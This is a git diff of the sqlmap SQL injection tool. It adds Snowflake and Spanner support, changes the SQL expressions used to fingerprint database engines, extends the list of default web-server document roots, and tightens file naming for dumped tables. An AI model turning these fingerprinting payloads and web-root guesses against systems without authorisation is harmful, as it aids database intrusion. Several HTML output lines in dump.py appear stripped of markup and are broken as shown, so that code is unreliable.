-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -39,6 +39,8 @@ from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES
from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
@@ -177,7 +179,7 @@ MYSQL_PRIVS = {
PGSQL_PRIVS = {
1: "createdb",
2: "super",
- 3: "catupd",
+ 3: "replication",
}
# Reference(s): http://stackoverflow.com/a/17672504
@@ -228,7 +230,7 @@ DBMS_DICT = {
DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
- DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+ DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
@@ -250,6 +252,8 @@ DBMS_DICT = {
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
+ DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
+ DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -257,7 +261,7 @@ FROM_DUMMY_TABLE = {
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
- DBMS.MAXDB: " FROM VERSIONS",
+ DBMS.MAXDB: " FROM DUAL",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
@@ -269,11 +273,11 @@ FROM_DUMMY_TABLE = {
HEURISTIC_NULL_EVAL = {
DBMS.ACCESS: "CVAR(NULL)",
DBMS.MAXDB: "ALPHA(NULL)",
- DBMS.MSSQL: "IIF(1=1,DIFFERENCE(NULL,NULL),0)",
- DBMS.MYSQL: "QUARTER(NULL XOR NULL)",
+ DBMS.MSSQL: "PARSENAME(NULL,NULL)",
+ DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0
DBMS.ORACLE: "INSTR2(NULL,NULL)",
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
- DBMS.SQLITE: "UNLIKELY(NULL)",
+ DBMS.SQLITE: "JULIANDAY(NULL)",
DBMS.H2: "STRINGTOUTF8(NULL)",
DBMS.MONETDB: "CODE(NULL)",
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
@@ -282,13 +286,15 @@ HEURISTIC_NULL_EVAL = {
DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256)",
- DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
+ DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
- DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
+ DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
- DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
+ DBMS.CLICKHOUSE: "halfMD5(NULL)",
+ DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
+ DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
}
SQL_STATEMENTS = {
@@ -324,6 +330,7 @@ SQL_STATEMENTS = {
"update ",
"delete ",
"merge ",
+ "copy ",
"load ",
),
@@ -380,13 +387,24 @@ DEPRECATED_OPTIONS = {
}
DUMP_DATA_PREPROCESS = {
- DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
- DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+ DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},
+ DBMS.MSSQL: {
+ "IMAGE": "CONVERT(VARBINARY(MAX),%s)",
+ "GEOMETRY": "(%s).STAsText()",
+ "GEOGRAPHY": "(%s).STAsText()"
+ },
+ DBMS.PGSQL: {
+ "GEOMETRY": "ST_AsText(%s)",
+ "GEOGRAPHY": "ST_AsText(%s)"
+ },
+ DBMS.MYSQL: {
+ "GEOMETRY": "ST_AsText(%s)"
+ }
}
DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
- OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+ OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html")
}
PART_RUN_CONTENT_TYPES = {
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 7b8fec61a..26d505690 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -45,6 +45,7 @@ from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.replication import Replication
+from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD
from lib.core.settings import DUMP_FILE_BUFFER_SIZE
from lib.core.settings import HTML_DUMP_CSS_STYLE
from lib.core.settings import IS_WIN
@@ -109,7 +110,7 @@ class Dump(object):
self._outputFile = os.path.join(conf.outputPath, "log")
try:
- self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
+ self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w')
except IOError as ex:
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
@@ -174,7 +175,7 @@ class Dump(object):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
- if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+ if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -409,14 +410,17 @@ class Dump(object):
db = "All"
table = tableValues["__infos__"]["table"]
+ safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
+ safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
+
if conf.api:
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
try:
- dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
+ dumpDbPath = os.path.join(conf.dumpPath, safeDb)
except UnicodeError:
try:
- dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
+ dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb))
except (UnicodeError, OSError):
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
warnMsg = "currently unable to use regular dump directory. "
@@ -426,16 +430,14 @@ class Dump(object):
dumpDbPath = tempDir
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
- replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
+ replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb))
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if not os.path.isdir(dumpDbPath):
try:
os.makedirs(dumpDbPath)
except:
warnFile = True
-
- _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
- dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))
+ dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath):
try:
@@ -449,21 +451,19 @@ class Dump(object):
dumpDbPath = tempDir
- dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
+ dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
+
if not checkFile(dumpFileName, False):
try:
- openFile(dumpFileName, "w+b").close()
+ openFile(dumpFileName, "w+").close()
except SqlmapSystemException:
raise
except:
warnFile = True
-
- _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
- if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
- _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
- dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
+ if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES:
+ dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else:
- dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+ dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
else:
appendToFile = any((conf.limitStart, conf.limitStop))
@@ -480,9 +480,15 @@ class Dump(object):
else:
count += 1
- dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
+ dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE)
count = int(tableValues["__infos__"]["count"])
+ if count > TRIM_STDOUT_DUMP_SIZE:
+ warnMsg = "console output will be trimmed to "
+ warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
+ warnMsg += "large table size"
+ logger.warning(warnMsg)
+
separator = str()
field = 1
fields = len(tableValues) - 1
@@ -509,7 +515,8 @@ class Dump(object):
if column != "__infos__":
colType = Replication.INTEGER
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
@@ -522,7 +529,8 @@ class Dump(object):
if colType is None:
colType = Replication.REAL
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
@@ -539,7 +547,7 @@ class Dump(object):
dataToDumpFile(dumpFP, "\n\n\n")
dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "\n" % VERSION_STRING)
- dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
+ dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", ""))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n\n\n\n\n\n")
@@ -567,7 +575,7 @@ class Dump(object):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "| %s | " % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
+ dataToDumpFile(dumpFP, "%s | " % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))))
field += 1
@@ -582,17 +590,14 @@ class Dump(object):
elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
rtable.beginTransaction()
- if count > TRIM_STDOUT_DUMP_SIZE:
- warnMsg = "console output will be trimmed to "
- warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
- warnMsg += "large table size"
- logger.warning(warnMsg)
-
for i in xrange(count):
console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
field = 1
values = []
+ if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
+ self._write(" ...")
+
if conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "
")
@@ -609,7 +614,9 @@ class Dump(object):
value = getUnicode(info["values"][i])
value = DUMP_REPLACEMENTS.get(value, value)
- values.append(value)
+ if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+ values.append(value)
+
maxlength = int(info["length"])
blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console)
@@ -663,7 +670,7 @@ class Dump(object):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "\n
\n\n")
+ dataToDumpFile(dumpFP, "\n\n\n